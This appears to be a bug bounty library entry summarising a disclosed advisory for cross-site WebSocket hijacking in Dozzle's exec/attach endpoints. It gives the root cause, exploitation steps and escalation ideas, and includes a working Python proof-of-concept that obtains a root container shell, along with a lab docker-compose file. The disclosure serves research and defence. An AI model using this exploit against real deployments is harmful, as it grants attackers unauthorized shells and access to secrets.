# Dozzle's Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpointsbypasses authentication

Dozzle's exec/attach WebSocket upgrader returns true from CheckOrigin, letting a same-site attacker page hijack the victim's JWT cookie and get a container shell.

- Payout: Research
- Severity: high
- Program: Dozzle
- Found by: q1uf3ng
- Disclosed: 2026-05-11
- CVE: CVE-2026-44985
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-j643-x8pv-8m67
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-j643-x8pv-8m67
- Tags: area:web domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:go tech:jwt tech:websocket technique:source-review vuln:access-control vuln:auth-bypass vuln:csrf vuln:misconfiguration

**Target:** WebSocket /exec and /attach endpoints (gorilla/websocket upgrader)
**Root cause:** The upgrader overrides CheckOrigin to always return true, removing the only server-side CSWSH defense. The JWT cookie uses SameSite=Lax, which is site-scoped (eTLD+1), so same-site cross-origin pages still carry the cookie.
**Steps:**
1. Deploy Dozzle with DOZZLE_AUTH_PROVIDER=simple and DOZZLE_ENABLE_SHELL=true; victim logs in via `POST /api/token` receiving `jwt` cookie
2. Attacker hosts a page on a same-site origin (e.g. `attacker.example.com` or `localhost:8888` vs Dozzle on `localhost:9090`)
3. Page JS opens `new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec')`
4. Browser attaches the JWT cookie (same-site, SameSite=Lax permits); CheckOrigin returns true so upgrade is accepted
5. Send `{"type":"resize","width":120,"height":40}` then `{"type":"userinput","data":"id\n"}` to run commands; output returns `uid=0(root)`
**How found:** Code review of the WebSocket upgrader found the CheckOrigin override returning true; cross-referencing the JWT cookie's SameSite=Lax setting revealed it is site-scoped not origin-scoped, so same-site origins still carry the cookie.
**Exploitation:** Victim visits attacker's same-site page while authenticated; JS opens the exec WebSocket, the browser sends the JWT cookie, CheckOrigin accepts, auth middleware validates the cookie, and the attacker gets an interactive shell in any container the victim can access. Without the cookie the same request returns 401.
**Escalation:** From container shell: read secrets/env/files, pivot to container network services, potentially escape to Docker host if socket mounted writable.
**Insight:** SameSite=Lax does not protect WebSockets from same-site sibling origins; when auditing WS endpoints, check CheckOrigin overrides and whether the auth cookie is site-scoped, then test with an Origin on a different subdomain of the same eTLD+1 (or a different localhost port).

## Proof of concept (copied exactly from the original report)

**Python CSWSH exploit script with cross-origin WebSocket**

```
import json, time, websocket, requests

target = "http://localhost:9090"

# Verify auth is enabled
r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True)
r.close()
assert r.status_code == 401, "Auth not enabled"

# Victim logs in
r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"})
jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0]

# Get container info (authenticated)
r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10)
for line in r.iter_lines(decode_unicode=True):
    if line and line.startswith("data: "):
        data = json.loads(line[6:])
        if isinstance(data, list) and len(data) > 0 and "host" in data[0]:
            host_id = data[0]["host"]
            cid = data[0]["id"]
            break
r.close()

# CSWSH: cross-origin WebSocket with victim's cookie
ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec"
ws = websocket.create_connection(
    ws_url, timeout=10,
    cookie=f"jwt={jwt}",
    origin="http://localhost:8888"  # DIFFERENT origin
)
# Connected! CheckOrigin:true accepted the cross-origin request

ws.send(json.dumps({"type": "resize", "width": 120, "height": 40}))
time.sleep(1); ws.recv()

ws.send(json.dumps({"type": "userinput", "data": "id\n"}))
time.sleep(2)
ws.settimeout(2)
output = []
try:
    while True:
        output.append(ws.recv())
except:
    pass
ws.close()
print("".join(output))
# uid=0(root) gid=0(root) groups=0(root)

# Verify: without cookie = rejected
try:
    ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888")
    ws2.close()
except Exception as e:
    print(f"Without cookie: {e}")  # 401 Unauthorized
```

**docker-compose setup with auth and shell enabled**

```
services:
  dozzle:
    image: amir20/dozzle:latest
    ports:
      - "9090:8080"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - ./data:/data
    environment:
      - DOZZLE_AUTH_PROVIDER=simple
      - DOZZLE_ENABLE_SHELL=true

  target:
    image: alpine:latest
    command: sh -c "while true; do sleep 3600; done"
```

